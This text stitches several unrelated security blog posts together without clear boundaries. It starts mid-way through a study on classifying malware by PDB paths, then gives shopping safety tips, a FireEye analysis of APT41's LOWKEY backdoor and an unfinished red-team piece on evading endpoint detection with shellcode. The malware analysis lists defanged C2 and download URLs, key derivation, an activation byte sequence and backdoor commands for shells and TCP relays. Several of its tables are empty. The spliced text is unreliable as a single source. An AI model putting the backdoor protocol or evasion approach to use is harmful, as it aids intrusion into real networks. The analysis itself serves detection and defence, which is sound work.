Next, we had to start building features. This is where the fun began. Looking at dozens and dozens of PDB paths, we simply started recording various things that ‘pop out’ to an analyst. As noted earlier, a file path contains tons of implicit information, beyond simply being a string-based artifact. Some analogies we have found useful is that a file path is more akin to a geographical location in its representation of a location on the file system, or like a sentence in that it reflects a series of dependent items.

To further illustrate this point, consider a simple file path such as:

C:\Users\World\Desktop\duck\Zbw138ht2aeja2.pdb (source file)

This path tells us several things:

  • This software was compiled on the system drive of the computer
  • In a user profile, under user ‘World’
  • The project is managed on the Desktop, in a folder called ‘duck’
  • The filename has a high degree of entropy and is not very easy to remember

In contrast, consider something such as:

D:\VSCORE5\BUILD\VSCore\release\EntVUtil.pdb (source file)

This indicates:

  • Compilation on an external or secondary drive
  • Within a non-user directory
  • Contains development terms such as ‘BUILD’ and ‘release’
  • With a sensible, semi-memorable file name

These differences seem relatively straightforward and make intuitive sense as to why one might be representative of malware development whereas the other represents a more “legitimate-looking” development environment.

Feature Representations

How do we represent these differences to a model? The easiest and most obvious option is to calculate some statistics on each path. Features such as folder depth, path length, entropy, and counting things such as numbers, letters, and special characters in the PDB filename are easy to compute.

However, upon evaluation against our dataset, these features did not help to separate the classes very well. The following are some graphics detailing the distributions of these features between our classes of malicious and benign samples:

While there is potentially some separation between benign and malicious distributions, these features alone would likely not lead to an effective classifier (we tried). Additionally, we couldn’t easily translate these differences into explicit detection rules. There was more information in the paths that we needed to extract, so we began to look at how to encode the directory names themselves.


As with any dataset, we had to undertake some steps to normalize the paths. For example, the occurrence of individual usernames, while perhaps interesting from an intelligence perspective, would be represented as distinct entities when in fact they have the same semantic meaning. Thus, we had to detect and replace usernames with <username> to normalize this representation. Other folder idiosyncrasies such as version numbers or randomly generated directories could similarly be normalized into <version> or <random>.

A typical normalized path might therefore go from this:

C:\Users\jsmith\Documents\Visual Studio 2013\Projects\mkzyu91952\mkzyu91952\obj\x86\Debug\mkzyu91952.pdb

To this:

c:\users\<username>\documents\visual studio 2013\projects\<random>\<random>\obj\x86\debug\mkzyu91952.pdb

You may notice that the PDB filename itself was not normalized. In this case we wanted to derive features from the filename itself, so we left it. Other approaches could be to normalize it, or even to make note that the same filename string ‘mkzyu91952’ appears earlier in the path. There are endless possible features when dealing with file paths.

Directory Analysis

Once we had normalized directories, we could start to “tokenize” each directory term, to start performing some statistical analysis. Our main goal of this analysis was to see if there were any directory terms that highly corresponded to maliciousness, or see if there were any simple combinations, such as pairs or triplets, that exhibited similar behavior.

We did not find any single directory name that easily separated the classes. That would be too easy. However, we did find some general correlations with directories such as “Desktop” being somewhat more likely to be malicious, and use of shared drives such as Z: to be more indicative of a benign file. This makes intuitive sense given the more collaborative environment a “legitimate” software development process might require. There are, of course, many exceptions and this is what makes the problem tricky.

Another strong signal we found, at least in our dataset, is that when the word “Desktop” was in a non-English language and particularly in a different alphabet, the likelihood of that PDB path being tied to a malicious file was very high (Figure 2). While potentially useful, this can be indicative of geographical bias in our dataset, and further research would need to be done to see if this type of signature would generalize.

Figure 2: Unicode desktop folders from malicious samples

Various Tokenizing Schemes

In recording the directories of a file path, there are several ways you can represent the path. Let’s use this path to illustrate these different approaches:

c:\Leave\smell\Long\ruleThis.pdb (file)

Bag of Words

One very simple way is the “bag-of-words” approach, which simply treats the path as the distinct set of directory names it contains. Therefore, the aforementioned path would be represented as:


Positional Analysis

Another approach we considered was recording the position of each directory name, as a distance from the drive. This retained more information about depth, such that a ‘build’ directory on the desktop would be treated differently than a ‘build’ directory nine directories further down. For this purpose, we excluded the drives since they would always have the same depth.


N-Gram Analysis

Finally, we explored breaking paths into n-grams; that is, as a distinct set of n- adjacent directories. For example, a 2-gram representation of this path might look like:


We tested each of these approaches and while positional analysis and n-grams contained more information, in the end, bag-of-words seemed to generalize best. Additionally, using the bag-of-words approach made it easier to extract simple signature logic from the resultant models, as will be shown in a later section.

Term Co-Occurrence

Since we had the bag-of-words vectors created for each path, we were also able to evaluate term co-occurrence across benign and malicious files. When we evaluated the co-occurrence of pairs of terms, we found some other interesting pairings that indeed paint two very different pictures of development environments (Figure 3).

Correlated with Malicious Files

Correlated with Benign Files

users, desktop

src, retail

documents, visual studio 2012

obj, x64

local, temporary projects

src, x86

users, projects

src, win32

users, documents

retail, dynamic

appdata, temporary projects

src, amd64

users, x86

src, x64

Figure 3: Correlated pairs with malicious and benign files

Keyword Lists

Our bag-of-words representation of the PDB paths then gave us a distinct set of nearly 70,000 distinct terms. The vast majority of these terms occurred once or twice in the entire dataset, resulting in what is known as a ‘long-tailed’ distribution. Figure 4 is a graph of only the top 100 most common terms in descending order.

Figure 4: Long tailed distribution of term occurrence

As you can see, the counts drop off quickly, and you are left dealing with an enormous amount of terms that may only appear a handful of times. One very simple way to solve this problem, without losing a ton of information, is to simply cut off a keyword list after a certain number of entries. For example, take the top 50 occurring folder names (across both good and bad files), and save them as a keyword list. Then match this list against every path in the dataset. To create features, one-hot encode each match.  

Rather than arbitrarily setting a cutoff, we wanted to know a bit more about the distribution and understand where might be a good place to set a limit – such that we would cover enough of the samples without drastically increasing the number of features for our model. We therefore calculated the cumulative number of samples covered by each term, as we iterated down the list from most common to least common. Figure 5 is a graph showing the result.

Figure 5: Cumulative share of samples covered by distinct terms

As you can see, with only a small fraction of the terms, we can arrive at a significant percentage of the cumulative total PDB paths. Setting a simple cutoff at about 70% of the dataset resulted in roughly 230 terms for our total vocabulary. This gave us enough information about the dataset without blowing up our model with too many features (and therefore, dimensions). One-hot encoding the presence of these terms was then the final step in featurizing the directory names present in the paths.

YARA Signatures Do Grow on Trees

Armed with some statistical features, as well as one-hot encoded keyword matches, we began to train some models on our now-featurized dataset. In doing so, we hoped to use the model training and evaluation process to give us insights into how to build better signatures. If we developed an effective classification model, that would be an added benefit.

We felt that tree-based models made sense for this use case for two reasons. First, tree-based models have worked well in the past in domains requiring a certain amount of interpretability and using a blend of quantitative and categorical features. Second, the features we used are largely things we could represent in a YARA signature. Therefore, if our models built boolean logic branches that separated large numbers of PDB files, we could potentially translate these into signatures. This is not to say that other model families could not be used to build strong classifiers. Many other options ranging from Logistic Regression to Deep Learning could be considered.

We fed our featurized training set into a Decision Tree, having set a couple ‘hyperparameters’ such as max depth and minimum samples per leaf, etc. We were also able to use a sliding scale of these hyperparameters to dynamically create trees and, essentially, see what shook out. Examining a trained decision tree such as the one in Figure 6 allowed us to immediately build new signatures.

Figure 6: Example decision tree and decision paths

We found several other interesting tidbits within our decision trees. Some terms that resulted in completely or almost-completely malicious subgroups are:

Directory Term

Example Hashes









\temporary projects\








We also found the term ‘WindowsApplication1’ to be quite useful. 89% of the files in our dataset containing this directory were malicious. Cursory research indicates that this is the default directory generated when using Visual Studio to compile a Windows binary. Once again, this makes some intuitive sense for finding malware authors. Training and evaluating decision trees with various parameters turned out to be a hugely productive exercise in discovering potential new signature terms and logic.

Classification Accuracy and Findings

Since we now had a large dataset of PDB paths and features, we wanted to see if we could train a traditional classifier to separate good files from bad. Using a Random Forest with some tuning, we were able to achieve an average accuracy of 87% over 10 cross validations. However, while our recall (the percentage of bad things we could identify with the model) was relatively high at 89%, our malware precision (the share of those things we called bad that were actually bad) was far too low, hovering at or below 50%. This indicates that using this model alone for malware detection would result in an unacceptably large number of false positives, were we to deploy it in the wild as a singular detection platform. However, used in conjunction with other tools, this could be a useful weak signal to assist with analysis.

Conclusion and Next Steps

While our journey of statistical PDB analysis did not yield a magic malware classifier, it did yield a number of useful findings that we were hoping for:

  1. We developed several file path feature functions which are transferable to other models under development.
  2. By diving into statistical analysis of the dataset, we were able to identify new keywords and logic branches to include in YARA signatures. These signatures have since been deployed and discovered new malware samples.
  3. We answered a number of our own general research questions about PDB paths, and were able to dispel some theories we had not fully tested with data.

While building an independent classifier was not the primary goal, improvements can surely be made to improve the end model accuracy. Generating an even larger, more diverse dataset would likely make the biggest impact on our accuracy, recall, and precision. Further hyperparameter tuning and feature engineering could also help. There is a large amount of established research into text classification using various deep learning methods such as LSTMs, which could be applied effectively to a larger dataset.

PDB paths are only one small family of file paths that we encounter in the field of cyber security. Whether in initial infection, staging, or another part of the attack lifecycle, the file paths found during forensic analysis can reveal incredibly useful information about adversary activity. We look forward to further community research on how to properly extract and represent that information.

Secure IT: Shop Safe Online

Everything we do on a daily basis has some form of “trust” baked into it. Where you live, what kind of car you drive, where you send your children to school, who you consider good friends, what businesses you purchase from, etc. Trust instills a level of confidence that your risk is minimized and acceptable to you. Why should this philosophy be any different when the entity you need to trust is on the other end of an Internet address? In fact, because you are connecting to an entity that you cannot see or validate, a higher level of scrutiny is required before they earn your trust. What Universal Resource Locator (URL) are you really connecting to? Is it really your banking website or new online shopping website that you are trying for the first time? How can you tell?

It’s a jungle out there. So we’ve put together five ways you can stay safe while you shop online:

  1. Shop at sites you trust. Are you looking at a nationally or globally recognized brand? Do you have detailed insight into what the site looks like? Have you established an account on this site, and is there a history that you can track for when you visit and what you buy? Have you linked the valid URL for the site in your browser? Mistyping a URL in your browser for any site you routinely visit can lead you to a rogue website.

  2. Use secure networks to connect. Just as important as paying attention to what you connect to is to be wary of where you connect from. Your home Wi-Fi network that you trust—okay. An open Wi-Fi at an airport, cyber café, or public kiosk—not okay. If you can’t trust the network, do not enter identifying information or your payment card information. Just ask our cybersecurity services experts to demonstrate how easy it is to compromise an open Wi-Fi network, and you’ll see why we recommend against public Wi-Fi for sensitive transactions.

  3. Perform basic checks in your browser. Today’s modern browsers are much better at encrypted and secure connections than they were a few years ago. They use encrypted communication by leveraging a specific Internet protocol, hypertext transfer protocol secure (HTTPS). This means that there is a certificate associated with this site in your browser that is verified before you are allowed to connect and establish the encrypted channel. (Just so you know, yes, these certificates can be spoofed, but that is a problem for another day). How do you check for this certificate? Look up in your browser title bar.

  4. Create strong password for your shopping sites. This issue is covered in another blog post, but use longer passwords, 10–12 characters, and keep them in a safe place that cannot be compromised by an unauthorized person. If a second factor is offered, use it. Many sites will send you a code to your smartphone to type into a login screen to verify you are who you say you are.

  5. Don’t give out information about yourself that seems unreasonable. If you are being asked for your social security number, think long and hard, and then longer and harder, about why that information should be required. And then don’t do it until you ask a trusted source about why that would be necessary. Be wary of anything you see when you are on a website that does not look familiar or normal.

We all use the Internet to shop. It is super convenient, and the return on investment is awesome. Having that new cool thing purchased in 10 minutes and delivered directly to your door—wow! Can you ever really be 100% sure that the Internet site you are visiting is legitimate, and that you are not going to inadvertently give away sensitive and/or financial information that is actually going directly into a hacker’s data collection file? Unfortunately, no. A lot of today’s scammers are very sophisticated. But as we discussed up front, this is a trust- and risk-based decision, and if you are aware that you could be compromised at any time on the Internet and are keeping your eyes open for things that just don’t look right or familiar, you have a higher probability of a safe online shopping experience.

To recap:

  • Visit and use sites you know and trust
  • Keep the correct URLs in your bookmarks (don’t risk mistyping a URL).
  • Check the certificate to ensure your connection to the site is secured by a legitimate and active certificate.
  • Look for anything that is not familiar to your known experience with the site.
  • If you can, do not save credit card or payment card information on the site. (If you do, you need to be aware that if that site is breached, your payment data is compromised.)
  • Use strong passwords for your shopping site accounts. And use a different password for every site. (No one ring to rule them all!)
  • If a site offers a second factor to authenticate you, use it.
  • Check all your payment card statements regularly to look for rogue purchases.
  • Subscribe to an identity theft protection service if you can. These services will alert you if your identity has been compromised.

Safe shopping!

The post Secure IT: Shop Safe Online appeared first on Connected.

LOWKEY: Hunting for the Missing Volume Serial ID

In August 2019, FireEye released the “Double Dragon” report on our newest graduated threat group: APT41. A China-nexus dual espionage and financially-focused group, APT41 targets industries such as gaming, healthcare, high-tech, higher education, telecommunications, and travel services.

This blog post is about the sophisticated passive backdoor we track as LOWKEY, mentioned in the APT41 report and recently unveiled at the FireEye Cyber Defense Summit. We observed LOWKEY being used in highly targeted attacks, utilizing payloads that run only on specific systems. Additional malware family names are used in the blog post and briefly described. For a complete overview of malware used by APT41 please refer to the Technical Annex section of our APT41 report.

The blog post is split into three parts, which are shown in Figure 1. The first describes how we managed to analyze the encrypted payloads. The second part features position independent loaders we observed in multiple samples, adding an additional layer of obfuscation. The final part is about the actual backdoor we call LOWKEY, which comes in two variants, a passive TCP listener and a passive HTTP listener targeting Internet Information Services (IIS).

Figure 1: Blog post overview


Tracking APT41 activities over the past months, we observed multiple samples that shared two unique features: the use of RC5 encryption which we don’t encounter often, and a unique string “f@Ukd!rCto R$.”. We track these samples as DEADEYE.

DEADEYE comes in multiple variants:

  • DEADEYE.DOWN has the capability to download additional payloads.
  • DEADEYE.APPEND has additional payloads appended to it.
  • DEADEYE.EXT loads payloads that are already present on the system.


A sample belonging to DEADEYE.DOWN (MD5: 5322816c2567198ad3dfc53d99567d6e) attempts to download two files on the first execution of the malware.

The first file is downloaded from hxxp://checkin.travelsanignacio[.]com/static/20170730.jpg. The command and control (C2) server response is first RC5 decrypted with the key “wsprintfA” and then RC5 encrypted with a different key and written to disk as <MODULE_NAME>.mui.

The RC5 key is constructed using the volume serial number of the C drive. The volume serial number is a 4-byte value, usually based on the install time of the system. The volume serial number is XORed with the hard-coded constant “f@Ukd!rCto R$.” and then converted to hex to derive a key of up to 28 bytes in length. The key length can vary if the XORed value contains an embedded zero byte because the lstrlenA API call is used to determine the length of it. Note that the lstrlenA API call happens before the result is converted to hex. If the index of the byte modulo 4 is zero, the hex conversion is in uppercase. The key derivation is illustrated in Table 1.

Volume Serial number of C drive, for example 0xAABBCCDD

F          ^          0xAA

=          0xCC


@         ^          0xBB

=          0xFB


U          ^          0xCC

=          0x99


k          ^          0xDD

=          0xB6


d          ^          0xAA

=          0xCE


!           ^          0xBB

=          0x9A


r           ^          0xCC

=          0xBE


C          ^          0xDD

=          0x9E


t           ^          0xAA

=          0xDE


o          ^          0xBB

=          0xD4


(0x20)   ^          0xCC

=          0xEC


R          ^          0xDD

=          0x8F


$          ^          0xAA

=          0x8E


.           ^          0xBB

=          0x95


Derived key CCfb99b6CE9abe9eDEd4ec8f8E95

Table 1: Key derivation example

The second file is downloaded from hxxp://checkin.travelsanignacio[.]com/static/20160204.jpg. The C2 response is RC5 decrypted with the key “wsprintfA” and then XORed with 0x74, before it is saved as C:\Windows\System32\wcnapi.mui.

Figure 2: 5322816c2567198ad3dfc53d99567d6e download

The sample then determines its own module name, appends the extension mui to it and attempts to decrypt the file using RC5 encryption. This effectively decrypts the file the malware just downloaded and stored encrypted on the system previously. As the file has been encrypted with a key based on the volume serial number it can only be executed on the system it was downloaded on or a system that has the same volume serial number, which would be a remarkable coincidence.

An example mui file is the MD5 hash e58d4072c56a5dd3cc5cf768b8f37e5e. Looking at the encrypted file in a hex editor reveals a high entropy (7.999779/8). RC5 uses Electronic Code Book (ECB) mode by default. ECB means that each code block (64 bit) is encrypted independent from other code blocks. This means the same plaintext block always results in the same cipher text, independent from its position in the binary. The file has 792933 bytes in total but almost no duplicate cipher blocks, which means the data likely has an additional layer of encryption.

Without the correct volume serial number nor any knowledge about the plaintext there is no efficient way to decrypt the payload e58d4072c56a5dd3cc5cf768b8f37e5e with just the knowledge of the current sample.


Fortunately searching for the unique string “f@Ukd!rCto R$.“ in combination with artifacts from RC5 reveals additional samples. One of the related samples is DEADEYE.APPEND (MD5: 37e100dd8b2ad8b301b130c2bca3f1ea), which has been previously analyzed by Kaspersky ( This sample is different because it is protected with VMProtect and has the obfuscated binary appended to it. The embedded binary starts at offset 3287552 which can be seen in Figure 3 with the differing File Size and PE Size.

Figure 3: A look at the PE header reveals a larger file size than PE size

The encrypted payload has a slightly lower entropy of 7.990713 out of 8. Looking at the embedded binary in a hex editor reveals multiple occurrences of the byte pattern 51 36 94 A4 26 5B 0F 19, as seen in Figure 4. As this pattern occurs multiple times in a row in the middle of the encrypted data and ECB mode is being used, an educated guess is that the plaintext is supposed to be 00 00 00 00 00 00 00 00.

Figure 4: Repeating byte pattern in 37e100dd8b2ad8b301b130c2bca3f1ea

RC5 Brute Forcer

With this knowledge we decided to take a reference implementation of RC5 and add a main function that accounts for the key derivation algorithm used by the malware samples (see Figure 5). Brute forcing is possible as the key is derived from a single DWORD; even though the final key length might be 28 bytes, there are only 4294967296 possible keys. The code shown in Figure 5 generates all possible volume serial numbers, derives the key from them and tries to decrypt 51 36 94 A4 26 5B 0F 19 to 00 00 00 00 00 00 00 00. Running the RC5 brute forcer for a couple of minutes shows the correct volume serial number for the sample, which is 0xc25cff4c.

Note if you want to run the brute forcer yourself
The number of DWORDs of the key in the reference implementation we used is represented by the global c, and we had to change it to 7 to match the malware’s key length of 28 bytes. There were some issues with the conversion because in the malware a zero byte within the generated key ultimately leads to a shorter key length. The implementation we used uses a hard-coded key length (c), so we generated multiple executables with c = 6, c = 5, c = 4… as these usually only ran for a couple of minutes to cover the entire key space. All the samples mentioned in the Appendix 1 could be solved with c = 7 or c = 6.

Figure 5: Main function RC5 brute forcer

The decrypted payload belongs to the malware family POISONPLUG (MD5: 84b69b5d14ba5c5c9258370c9505438f). POISONPLUG is a highly obfuscated modular backdoor with plug-in capabilities. The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding. POISONPLUG has been observed using social platforms to host encoded command and control commands.

We confirmed the findings from Kaspersky and additionally found a second command and control URL hxxps://steamcommunity[.]com/id/oswal053, as mentioned in our APT 41 report.

Taking everything into account that we learned from DEADEYE.APPEND (MD5: 37e100dd8b2ad8b301b130c2bca3f1ea), we decided to take another look at the encrypted mui file (e58d4072c56a5dd3cc5cf768b8f37e5e). Attempts to brute force the first bytes to match with the ones of the decrypted POISONPLUG payload did not yield any results.

Fortunately, we found additional samples that use the same encryption scheme. In one of the samples the malware authors included two checks to validate the decrypted payload. The expected plaintext at the specified offsets for DEADEYE.APPEND (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff) is shown in Table 2.


Expected byte after decryption









Table 2: Byte comparisons after decrypting in DEADEYE.APPEND (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff)

Applying these constraints to our brute forcer and trying to decrypt mui file (e58d4072c56a5dd3cc5cf768b8f37e5e) once more resulted in a low number of successful hits which we could then manually check. The correct volume serial number for the encrypted mui is 0x243e2562. Analysis determined the decrypted file is XMRig miner. This also explains why the dropper downloads two files. The first, <MODULE_NAME>.mui is the crypto miner, and the second C:\Windows\System32\wcnapi.mui, is the configuration. The decrypted mui contains another layer of obfuscation and is eventually executed with the command x -c wcnapi.mui. An explanation on how the command was obtained and the additional layer of obfuscation is given in the next part of the blog post.

For a list of samples with the corresponding volume serial numbers, please refer to Appendix 1.

Additional RC4 Layer

An additional RC4 layer has been identified in droppers used by APT41, which we internally track as DEADEYE. The layer has been previously detailed in a blog post by ESET. We wanted to provide some additional information on this, as it was used in some of the samples we managed to brute force.

The additional layer is position independent shellcode containing a reflective DLL loader. The loader decrypts an RC4 encrypted payload and loads it in memory. The code itself is a straight forward loader with the exception of some interesting artifacts identified during analysis.

As mentioned in the blog post by ESET, the encrypted payload is prepended with a header. It contains the RC4 encryption key and two fields of variable length, which have previously been identified as file names. These two fields are encrypted with the same RC4 encryption key that is also used to decrypt the payload. The header is shown in Table 3.

Header bytes


0 15

RC4 key XOR encoded with 0x37

16 19

Size of loader stub before the header

20 23

RC4 key size

24 27

Command ASCII size (CAS)

28 31

Command UNICODE size (CUS)

32 35

Size of encrypted payload

36 39

Launch type

40 (40 + CAS)

Command ASCII

(40 + CAS) (40 + CAS + CUS)


(40 + CAS + CUS) (40 + CAS + CUS + size of encrypted payload)

Encrypted payload

Table 3: RC4 header overview

Looking at the payloads hidden behind the RC5 layer, we observed, that these fields are not limited to file names, instead they can also contain commands used by the reflective loader. If no command is specified, the default parameter is the file name of the loaded payload. In some instances, this revealed the full file path and file name in the development environment. Table 4 shows some paths and file names. This is also how we found the command (x -c wcnapi.mui) used to launch the decrypted mui file from the first part of the blog post.

MD5 hash

Arguments found in the RC4 layer

















Table 4: Decrypted paths and file names


The final part of the blog post describes the capabilities of the passive backdoor LOWKEY (MD5: 8aab5e2834feb68bb645e0bad4fa10bd) decrypted from DEADEYE.APPEND (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff). LOWKEY is a passive backdoor that supports commands for a reverse shell, uploading and downloading files, listing and killing processes and file management. We have identified two variants of the LOWKEY backdoor.

The first is a TCP variant that listens on port 53, and the second is an HTTP variant that listens on TCP port 80. The HTTP variant intercepts URL requests matching the UrlPrefix http://+:80/requested.html. The + in the given UrlPrefix means that it will match any host name. It has been briefly mentioned by Kaspersky as “unknown backdoor”.

Both variants are loaded by the reflective loader described in the previous part of the blog post. This means we were able to extract the original file names. They contain meaningful names and provide a first hint on how the backdoor operates.

HTTP variant (MD5: c11dd805de683822bf4922aecb9bfef5)

TCP variant (MD5: 7f05d410dc0d1b0e7a3fcc6cdda7a2ff)

The interesting parts are shown in Figure 6. PortReuse describes the general idea behind the backdoor, to operate on a well-known port. The paths also contain version numbers 2.5 and v1.3-53. IIS_Share is used for the HTTP variant and describes the targeted application, DeviceIOContrl-Hook is used for the TCP variant.

Figure 6: Overview important parts of executable path

Both LOWKEY variants are functionally identical with one exception. The TCP variant relies on a second component, a user mode rootkit that is capable of intercepting incoming TCP connections. The internal name used by the developers for that component is E:\code\PortReuse\3389-share\DeviceIOContrl-Hook\v1.3-53\NetAgent\x64\Release\NetAgent.exe.

Figure 7: LOWKEY components


Inner-Loader.dll is a watch guard for the LOWKEY backdoor. It leverages the GetExtendedTcpTable API to retrieve all processes with an open TCP connection. If a process is listening on TCP port 53 it injects NetAgent.exe into the process. This is done in a loop with a 10 second delay. The loader exits the loop when NetAgent.exe has been successfully injected. After the injection it will create a new thread for the LOWKEY backdoor (SK3.x.exe).

The watch guard enters an endless loop that executes every 20 minutes and ensures that the NetAgent.exe and the LOWKEY backdoor are still active. If this is not the case it will relaunch the backdoor or reinject the NetAgent.exe.


NetAgent.exe is a user mode rootkit that provides covert communication with the LOWKEY backdoor component. It forwards incoming packets, after receiving the byte sequence FF FF 01 00 00 01 00 00 00 00 00 00, to the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001}.

The component works by hooking the NtDeviceIoControlFile API. It does that by allocating a suspiciously large region of memory, which is used as a global hook table. The table consists of 0x668A0 bytes and has read, write and execute permissions set.

Each hook table entry consists of 3 pointers. The first points to memory containing the original 11 bytes of each hooked function, the second entry contains a pointer to the remaining original instructions and the third pointer points to the function hook. The malware will only hook one function in this manner and therefore allocates an unnecessary large amount of memory. The malware was designed to hook up to 10000 functions this way.

The hook function begins by iterating the global hook table and compares the pointer to the hook function to itself. This is done to find the original instructions for the installed hook, in this case NtDeviceIoControlFile. The malware then executes the saved instructions which results in a regular NtDeviceIoControlFile API call. Afterwards the IoControlCode is compared to 0x12017 (AFD_RECV).

If the IoControlCode does not match, the original API call results are returned.

If they match the malware compares the first 12 bytes of the incoming data. As it is effectively a TCP packet, it is parsing the TCP header to get the data of the packet. The first 12 bytes of the data section are compared against the hard-coded byte pattern: FF FF 01 00 00 01 00 00 00 00 00 00.

If they match it expects to receive additional data, which seems to be unused, and then responds with a 16 byte header 00 00 00 00 00 91 03 00 00 00 00 00 80 1F 00 00, which seems to be hard-coded and to indicate that following packets will be forwarded to the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001}. The backdoor component (SK3.x.exe) receives and sends data to the named pipe. The hook function will forward all received data from the named pipe back to the socket, effectively allowing a covert communication between the named pipe and the socket.


SK3.x.exe is the actual backdoor component. It supports writing and reading files, modification of file properties, an interactive command shell, TCP relay functionality and listing running processes. The backdoor opens a named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001} for communication.

Data received by the backdoor is encrypted with RC4 using the key “CreateThread“ and then XORed with 0x77. All data sent by the backdoor uses the same encryption in reverse order (first XOR with 0x77, then RC4 encrypted with the key “CreateThread“). Encrypted data is preceded by a 16-byte header which is unencrypted containing an identifier and the size of the following encrypted packet.

An example header looks as follows:
00 00 00 00 00 FD 00 00 10 00 00 00 00 00 00 00



00 00 00 00 00


FD 00

Bytes 5 and 6 are the command identifier, for a list of all supported identifiers check Table 6 and Table 7.



10 00 00 00

Size of the encrypted packet that is send after the header

00 00 00 00


Table 5: Subcomponents of header

The backdoor supports the commands listed in tables Table 6 and Table 7. Most commands expect a string at the beginning which likely describes the command and is for the convenience of the operators, but this string isn't actively used by the malware and could be anything. For example, KILL <PID> could also be A <PID>. Some of the commands rely on two payloads (UserFunction.dll and ProcTran.dll), that are embedded in the backdoor and are either injected into another process or launch another process.


Userfunction.dll starts a hidden cmd.exe process, creates the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00000} and forwards all received data from the pipe to the standard input of the cmd.exe process. All output from the process is redirected back to the named pipe. This allows interaction with the shell over the named pipe.


The component opens a TCP connection to the provided host and port, creates the named pipe \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00001} and forwards all received data from the pipe to the opened TCP connection. All received packets on the connection are forwarded to the named pipe. This allows interaction with the TCP connection over the named pipe.





<cmd> <arg1> <arg2>

Provides a simple shell, that supports the following commands, dir, copy, move, del, systeminfo and cd. These match the functionality of standard commands from a shell. This is the only case where the <cmd> is actually used.


<cmd> <arg1>

The argument is interpreted as a process id (PID). The backdoor injects UserFunction.dll into the process, which is an interactive shell that forwards all input and output data to Microsoft Ole Object {30000-7100-12985-00000-00000}. The backdoor will then forward incoming data to the named pipe allowing for communication with the opened shell. If no PID is provided, the `cmd.exe` is launched as child process of the backdoor process with input and output redirected to the named pipe Microsoft Ole Object {30000-7100-12985-00001-00001}


<cmd> <arg1> <arg2>

Writes data to a file. The first argument is the <file_name>, the second argument is an offset into the file


<cmd> <arg1> <arg2>

Reads data from a file. The first argument is the <file_name>, the second argument is an offset into the file, the third argument is optional, and the exact purpose is unknown



Lists running processes, including the process name, PID, process owner and the executable path


<cmd> <arg1>

Kills the process with the provided process id (PID)


<cmd> <arg1> <arg2>

Copies the files CreationTime, LastAccessTime and LastWriteTime from the second argument and applies them to the first argument. Both arguments are expected to be full file paths. The order of the arguments is a bit unusual, as one would usually apply the access times from the second argument to the third



List running processes with additional details like the SessonId and the CommandLine by executing the WMI query SELECT Name,ProcessId,SessionId,CommandLine,ExecutablePath FROM Win32_Process



Ping command, the malware responds with the following byte sequence 00 00 00 00 00 65 00 00 00 00 00 00 06 00 00 00. Experiments with the backdoor revealed that the identifier 0x65 seems to indicate a successful operation, whereas 0x66 indicates an error.

Table 6: C2 commands

The commands listed in Table 7 are used to provide functionality of a TCP traffic relay. This allows operators to communicate through the backdoor with another host via TCP. This could be used for lateral movement in a network. For example, one instance of the backdoor could be used as a jump host and additional hosts in the target network could be reached via the TCP traffic relay. Note that the commands 0xD2, 0xD3 and 0xD6 listed in Table 7 can be used in the main backdoor thread, without having to use the ProcTran.dll.





<cmd> <arg1>

The argument is interpreted as a process id (PID). The backdoor injects ProcTran.dll into the process, which is a TCP traffic relay component that forwards all input and output data to Microsoft Ole Object {30000-7100-12985-00000-00001}. The commands 0xD2, 0xD3 and 0xD6 can then be used with the component.


<arg1> <arg2>

Opens a connection to the provided host and port, the first argument is the host, the second the port. On success a header with the identifier set to 0xD4 is returned (00 00 00 00 00 D4 00 00 00 00 00 00 00 00 00 00). This effectively establishes a TCP traffic relay allowing operators to communicate with another system through the backdoored machine.



Receives and sends data over the connection opened by the 0xD2 command. Received data is first RC4 decrypted with the key “CreateThread“ and then single-byte XOR decoded with 0x77. Data sent back is directly relayed without any additional encryption.



Closes the socket connection that had been established by the 0xD2 command



Closes the named pipe Microsoft Ole Object {30000-7100-12985-00000-00001} that is used to communicate with the injected ProcTran.dll. This seems to terminate the thread in the targeted process by the 0x105 command

Table 7: C2 commands TCP relay


The TCP LOWKEY variant passively listens for the byte sequence FF FF 01 00 00 01 00 00 00 00 00 00 on TCP port 53 to be activated. The backdoor then uses up to three named pipes for communication. One pipe is used for the main communication of the backdoor, the other ones are used on demand for the embedded payloads.

  • \\.\pipe\Microsoft Ole Object {30000-7100-12985-00001-00001} main communication pipe
  • \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00001} named pipe used for interaction with the TCP relay module ProcTran.dll
  • \\.\pipe\Microsoft Ole Object {30000-7100-12985-00000-00000} named pipe used for the interactive shell module UserFunction.dll

Figure 8 summarizes how the LOWKEY components interact with each other.

Figure 8: LOWKEY passive backdoor overview



Correct Volume Serial

Dropper Family

Final Payload Family



























































None - encrypted data


















Appendix 1: List of samples with RC5 encrypted payloads

Knowing Your Part

Being a privacy professional can be tough but rewarding. There are multiple rules, definitions, and deviations by jurisdiction to those rules that we must know. This generally presents itself in the form of a question, “How do you learn and remember all these rules?” Generally, practice makes perfect and experience is the best teacher. However, […]

The post Knowing Your Part appeared first on Privacy Ref.

Staying Hidden on the Endpoint: Evading Detection with Shellcode

True red team assessments require a secondary objective of avoiding detection. Part of the glory of a successful red team assessment is not getting detected by anything or anyone on the system. As modern Endpoint Detection and Response (EDR) products have matured over the years, the red teams must follow suit. This blog post will provide some insights into how the FireEye Mandiant Red Team crafts payloads to bypass modern EDR products and get full command and control (C2) on their victims’ systems.

Shellcode injection or its execution is our favorite method for launching our C2 payload on a victim system; but what is shellcode? Michael Sikorski defines shellcode as a “…term commonly used to describe any piece of self-contained executable code” (Practical Malware Analysis). Most commercial Penetration Testing Frameworks such as Empire, Cobalt Strike, or Metasploit have a shellcode generator built into the tool. The shellcode generator is generally in either a binary format or hex format depending on whether you generate it as raw output or as an application source.

Why do we use shellcode for all our payloads?

